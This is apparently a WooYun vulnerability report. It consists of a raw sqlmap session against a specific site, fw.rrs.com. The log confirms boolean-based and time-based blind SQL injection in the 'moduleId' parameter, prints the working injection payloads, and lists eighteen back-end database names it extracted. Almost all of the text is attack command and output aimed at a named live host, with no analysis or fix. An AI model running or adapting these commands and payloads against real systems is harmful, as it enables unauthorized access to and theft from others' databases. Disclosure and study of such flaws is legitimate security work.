WooYun.org

[root@Hacker~]# Sqlmap Sqlmap -u "http://fw.rrs.com/snaplb/Wiki/Search/list?pageNum=1&pageSize=10&moduleId=2" --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsi
[*] starting at 18:31:05
[18:31:06] [INFO] testing connection to the target URL
[18:31:06] [INFO] heuristics detected web page charset 'ISO-8859-2'
[18:31:06] [INFO] testing if the target URL is stable. This can take a couple of seconds
[18:31:08] [INFO] target URL is stable
[18:31:08] [INFO] testing if GET parameter 'pageNum' is dynamic
[18:31:09] [WARNING] GET parameter 'pageNum' does not appear dynamic
[18:31:09] [WARNING] heuristic (basic) test shows that GET parameter 'pageNum' might not be injectable
[18:31:09] [INFO] testing for SQL injection on GET parameter 'pageNum'
[18:31:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:31:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[18:31:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:31:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[18:31:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:31:12] [INFO] testing 'MySQL inline queries'
[18:31:12] [INFO] testing 'PostgreSQL inline queries'
[18:31:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:31:13] [INFO] testing 'Oracle inline queries'
[18:31:13] [INFO] testing 'SQLite inline queries'
[18:31:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:31:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:31:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:31:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:31:15] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:31:15] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:31:16] [INFO] testing 'Oracle AND time-based blind'
[18:31:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:31:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:31:22] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly
[18:31:49] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
[18:31:51] [WARNING] GET parameter 'pageNum' is not injectable
[18:31:51] [INFO] testing if GET parameter 'pageSize' is dynamic
[18:31:52] [WARNING] GET parameter 'pageSize' does not appear dynamic
[18:31:52] [WARNING] heuristic (basic) test shows that GET parameter 'pageSize' might not be injectable
[18:31:52] [INFO] testing for SQL injection on GET parameter 'pageSize'
[18:31:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:31:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[18:31:53] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:31:54] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[18:31:54] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:31:55] [INFO] testing 'MySQL inline queries'
[18:31:55] [INFO] testing 'PostgreSQL inline queries'
[18:31:55] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:31:55] [INFO] testing 'Oracle inline queries'
[18:31:55] [INFO] testing 'SQLite inline queries'
[18:31:55] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:31:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:31:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:31:57] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:31:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:31:58] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:31:58] [INFO] testing 'Oracle AND time-based blind'
[18:31:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:32:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:32:12] [WARNING] GET parameter 'pageSize' is not injectable
[18:32:12] [INFO] testing if GET parameter 'moduleId' is dynamic
[18:32:13] [INFO] confirming that GET parameter 'moduleId' is dynamic
[18:32:13] [INFO] GET parameter 'moduleId' is dynamic
[18:32:14] [WARNING] reflective value(s) found and filtering out
[18:32:15] [WARNING] heuristic (basic) test shows that GET parameter 'moduleId' might not be injectable
[18:32:15] [INFO] testing for SQL injection on GET parameter 'moduleId'
[18:32:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:32:21] [INFO] GET parameter 'moduleId' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[18:32:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[18:32:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:32:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[18:32:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:32:30] [INFO] testing 'MySQL inline queries'
[18:32:30] [INFO] testing 'PostgreSQL inline queries'
[18:32:30] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:32:30] [INFO] testing 'Oracle inline queries'
[18:32:30] [INFO] testing 'SQLite inline queries'
[18:32:30] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:32:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:32:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:32:31] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:33:32] [INFO] GET parameter 'moduleId' is 'MySQL > 5.0.11 AND time-based blind' injectable
[18:33:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[18:33:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potenti
[18:33:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'moduleId' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 436 HTTP(s) requests:
---
Place: GET
Parameter: moduleId
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pageNum=1&pageSize=10&moduleId=2' AND 9793=9793 AND 'NHBk'='NHBk
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: pageNum=1&pageSize=10&moduleId=2' AND SLEEP(5) AND 'VKUM'='VKUM
---
[18:34:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, JSP
back-end DBMS: MySQL 5.0.11
[18:34:00] [INFO] fetching database names
[18:34:00] [INFO] fetching number of databases
[18:34:00] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:34:00] [INFO] retrieved: 18
[18:34:07] [INFO] retrieved: information_schema
[18:35:41] [INFO] retrieved: aijia
[18:36:10] [INFO] retrieved: hibernate
[18:36:59] [INFO] retrieved: huxing
[18:37:33] [INFO] retrieved: iudp_basedata
[18:38:40] [INFO] retrieved: iudp_huxing
[18:39:39] [INFO] retrieved: iudp_rbac
[18:40:28] [INFO] retrieved: iudp_sheji
[18:41:21] [INFO] retrieved: jackrabbit
[18:42:15] [INFO] retrieved: mrrs
[18:42:39] [INFO] retrieved: mrrs-uat
[18:43:23] [INFO] retrieved: mrrs_pro
[18:44:07] [INFO] retrieved: mrr
[18:44:46] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
s_shop
[18:45:18] [INFO] retrieved: mysql
[18:45:47] [INFO] retrieved: quartz
[18:46:20] [INFO] retrieved: sampledata
[18:47:13] [INFO] retrieved: shorturl
[18:47:58] [INFO] retrieved: snap_haier
available databases [18]:
[*] `mrrs-uat`
[*] aijia
[*] hibernate
[*] huxing
[*] information_schema
[*] iudp_basedata
[*] iudp_huxing
[*] iudp_rbac
[*] iudp_sheji
[*] jackrabbit
[*] mrrs
[*] mrrs_pro
[*] mrrs_shop
[*] mysql
[*] quartz
[*] sampledata
[*] shorturl
[*] snap_haier
[18:48:51] [WARNING] HTTP error codes detected during run:
400 (Bad Request) - 362 times
[18:48:51] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602
[18:48:51] [INFO] fetched data logged to text files under 'F:\????\INJECT~1\SQLMAP~1.4\Bin\output\fw.rrs.com'